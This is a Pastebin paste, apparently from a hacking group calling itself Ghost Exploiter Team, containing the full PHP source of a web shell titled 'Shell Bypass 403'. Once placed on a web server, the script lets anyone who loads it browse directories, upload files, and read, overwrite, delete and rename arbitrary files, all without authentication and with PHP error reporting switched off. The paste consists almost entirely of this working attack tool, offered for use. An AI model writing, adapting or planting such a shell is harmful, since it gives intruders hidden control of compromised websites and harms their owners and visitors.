willysec_id

GXT Minishell

Dec 29th, 2023 (edited)
85
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 6.23 KB | Cybersecurity | 0 0
  1. <!-- Hak Cipta Ghost Exploiter Team
  2. Thanks All Member GhostExploiterTeam -->
  3.  
  4. <?php error_reporting(0); ?>
  5. <!DOCTYPE html>
  6. <html>
  7. <head>
  8.     <title>Shell Bypass 403 GE-C666C</title>
  9.     <link href="https://fonts.googleapis.com/css2?family=Courgette&family=Cuprum:ital@1&family=Rowdies&display=swap" rel="stylesheet">
  10. </head>
  11. <style>
  12.     * {
  13.         font-family: cursive;
  14.         color: #000;
  15.         font-family: 'Cuprum', sans-serif;
  16.     }
  17.  
  18.     body {
  19.         background-repeat: no-repeat;
  20.         background-attachment:fixed;
  21.         background-size: 100% 1700px;
  22.     }
  23.     body h1{
  24.         color: #A52A2A;
  25.         text-shadow: 2px 2px 2px #000;
  26.         font-size: 50px;
  27.     }
  28.     .dir {
  29.         text-align: center;
  30.         font-size: 30px;
  31.     }
  32.     .dir a{
  33.         text-decoration: none;
  34.         color: #48D1CC;
  35.         text-shadow: 1px 1px 1px #000;
  36.  
  37.     }
  38.     .dir a:hover{
  39.         text-decoration: none;
  40.         color: red;
  41.     }
  42.     table {
  43.         margin: 12px auto;
  44.         height: 100%;
  45.         border-collapse: collapse;
  46.         font-size: 30px;
  47.     }
  48.     table,th {
  49.         border-top:1px solid #000;
  50.         border-right:3px solid #000;
  51.         border-bottom: 3px solid #000;
  52.         border-left:1px solid #000;
  53.         box-sizing: border-box;
  54.         padding: 2px 2px;
  55.         color: #F0E68C;
  56.         text-shadow: 1px 1px 1px #000;
  57.     }
  58.     table,td {
  59.         border-top:1px solid #000;
  60.         border-right:3px solid #000;
  61.         border-bottom: .5px solid #000;
  62.         border-left:1px solid #000;
  63.         box-sizing: border-box;
  64.         padding: 8px 8px;
  65.         color: red;
  66.     }
  67.     table,td a {
  68.         text-decoration: none;
  69.         color:#8A2BE2;
  70.         text-shadow: 1px 1px 1px #000;
  71.     }
  72.     table,td a:hover {
  73.         text-decoration: none;
  74.         color: red;
  75.     }
  76.     .button1 {
  77.         width: 70px;
  78.         height: 30px;
  79.         background-color: #999;
  80.         margin: 10px 3px;
  81.         padding: 5px;
  82.         color: #000;
  83.         border-radius: 5px;
  84.         border: 1px solid #000;
  85.         box-shadow: .5px .5px .3px .3px #fff;
  86.         box-sizing: border-box;
  87.     }
  88.     .button1 a{
  89.         width: 70px;
  90.         height: 30px;
  91.         background-color: #999;
  92.         margin: 10px 3px;
  93.         padding: 5px;
  94.         color: red;
  95.         border-radius: 5px;
  96.         border: 1px solid #000;
  97.         box-shadow: .5px .5px .3px .3px #fff;
  98.         box-sizing: border-box;
  99.     }
  100.     .button1:hover {
  101.         text-shadow: 0px 0px 5px #fff;
  102.         box-shadow: .5px .5px .3px .3px #555;
  103.         text-decoration: none;
  104.     }
  105.     textarea {
  106.         border: 1px solid green;
  107.         border-radius: 5px;
  108.         box-shadow: 1px 1px 1px 1px #fff;
  109.         width: 100%;
  110.         height: 400px;
  111.         padding-left: 10px;
  112.         margin: 10px auto;
  113.         resize: none;
  114.         background: green;
  115.         color: #ffffff;
  116.         font-family: 'Cuprum', sans-serif;
  117.         font-size: 13px;
  118.     }
  119. </style>
  120. <body>
  121.     <center><h1>Ghost Exploiter Team Official</h1></center>
  122.   <div class="dir">
  123.     <?php  
  124.     if (isset($_GET['dir'])) {
  125.             $dir = $_GET['dir'];
  126.         } else {
  127.             $dir = getcwd();
  128.         }
  129.  
  130.         $dir = str_replace("\\", "/", $dir);
  131.         $dirs = explode("/", $dir);
  132.  
  133.         foreach ($dirs as $key => $value) {
  134.             if ($value == "" && $key == 0){
  135.                 echo '<a href="/">/</a>'; continue;
  136.             } echo '<a href="?dir=';
  137.  
  138.             for ($i=0; $i <= $key ; $i++) {
  139.                 echo "$dirs[$i]"; if ($key !== $i) echo "/";
  140.             } echo '">'.$value.'</a>/';
  141.     }
  142.     if (isset($_POST['submit'])){
  143.  
  144.         $namafile = $_FILES['upload']['name'];
  145.         $tempatfile = $_FILES['upload']['tmp_name'];
  146.         $tempat = $_GET['dir'];
  147.         $error = $_FILES['upload']['error'];
  148.         $ukuranfile = $_FILES['upload']['size'];
  149.  
  150.         move_uploaded_file($tempatfile, $dir.'/'.$namafile);
  151.                 echo "
  152.                     <script>alert('diupload!!!');</script>
  153.                     ";
  154.                        
  155.  
  156.    
  157.     }
  158.     ?>
  159.  
  160.     <form method="post" enctype="multipart/form-data">
  161.         <input type="file" name="upload">
  162.         <input type="submit" name="submit" value="Upload">
  163.        
  164.     </form>
  165.  
  166.   </div>
  167. <table>
  168.     <tr>
  169.         <th>Nama File / Folder</th>
  170.         <th>Size</th>
  171.         <th>Action</th>
  172.     </tr>
  173.     <?php
  174.     $scan = scandir($dir);
  175.  
  176. foreach ($scan as $directory) {
  177.     if (!is_dir($dir.'/'.$directory) || $directory == '.' || $directory == '..') continue;
  178.  
  179.     echo '
  180.     <tr>
  181.     <td><a href="?dir='.$dir.'/'.$directory.'">'.$directory.'</a></td>
  182.     <td>--</td>
  183.     <td>NONE</td>
  184.     </tr>
  185.     ';
  186.     }
  187. foreach ($scan as $file) {
  188.     if (!is_file($dir.'/'.$file)) continue;
  189.  
  190.     $jumlah = filesize($dir.'/'.$file)/1024;
  191.     $jumlah = round($jumlah, 3);
  192.     if ($jumlah >= 1024) {
  193.         $jumlah = round($jumlah/1024, 2).'MB';
  194.     } else {
  195.         $jumlah = $jumlah .'KB';
  196.     }
  197.  
  198.     echo '
  199.     <tr>
  200.     <td><a href="?dir='.$dir.'&open='.$dir.'/'.$file.'">'.$file.'</a></td>
  201.     <td>'.$jumlah.'</td>
  202.     <td>
  203.     <a href="?dir='.$dir.'&delete='.$dir.'/'.$file.'" class="button1">Hapus</a>
  204.     <a href="?dir='.$dir.'&ubah='.$dir.'/'.$file.'" class="button1">Edit</a>
  205.     <a href="?dir='.$dir.'&rename='.$dir.'/'.$file.'&nama='.$file.'" class="button1">Rename</a>
  206.     </td>
  207.     </tr>
  208.     ';
  209. }
  210. if (isset($_GET['open'])) {
  211.     echo '
  212.     <br />
  213.     <style>
  214.         table {
  215.             display: none;
  216.         }
  217.     </style>
  218.     <textarea>'.htmlspecialchars(file_get_contents($_GET['open'])).'</textarea>
  219.     ';
  220. }
  221.  
  222. if (isset($_GET['delete'])) {
  223.     if (unlink($_GET['delete'])) {
  224.         echo "<script>alert('dihapus');window.location='?dir=".$dir."';</script>";
  225.     }
  226. }
  227. if (isset($_GET['ubah'])) {
  228.     echo '
  229.  
  230.         <style>
  231.             table {
  232.                 display: none;
  233.             }
  234.         </style>
  235.  
  236.         <a href="?dir='.$dir.'" class="button1"><=Back</a>
  237.         <form method="post" action="">
  238.         <input type="hidden" name="object" value="'.$_GET['ubah'].'">
  239.         <textarea name="edit">'.htmlspecialchars(file_get_contents($_GET['ubah'])).'</textarea>
  240.         <center><button type="submit" name="go" value="Submit" class="button1">Liking</button></center>
  241.         </form>
  242.  
  243.         ';
  244. }
  245. if (isset($_POST['edit'])) {
  246.     $data = fopen($_POST["object"], 'w');
  247.     if (fwrite($data, $_POST['edit'])) {
  248.  
  249.         echo
  250.             '
  251.             <script>alert("Berhasil diedit!!!");window.location="?dir='.$dir.'";</script>                      
  252.             ';
  253.  
  254.     } else {
  255.         echo "
  256.             <script>alert('gagal');</script>                   
  257.             ";
  258.     }
  259. }
  260.  
  261. if($_GET['rename']){
  262.     if(isset($_POST['newname'])){
  263.         if(rename($_GET['rename'], $_GET['dir'] . '/' .$_POST['newname'])){
  264.             echo '<font color="green">Ganti Nama Berhasil</font><br/>';
  265.             echo "<script>window.location='?dir=".$dir."';</script>";
  266.         }else{
  267.             echo '<font color="red">Ganti Nama Gagal</font><br />';
  268.         }
  269.     }
  270. echo '<br><center><form method="POST">
  271. New Name : <input name="newname" type="text" size="20" value="'.$_GET['nama'].'" />
  272. <input type="hidden" name="path" value="'.$_GET['dir'].'">
  273. <input type="hidden" name="opt" value="rename">
  274. <input type="submit" value="Go" />
  275. </form></center>';
  276. }
  277.  
  278. ?>
  279. </table>
  280. </body>
  281. </html>
Add Comment
Please, Sign In to add comment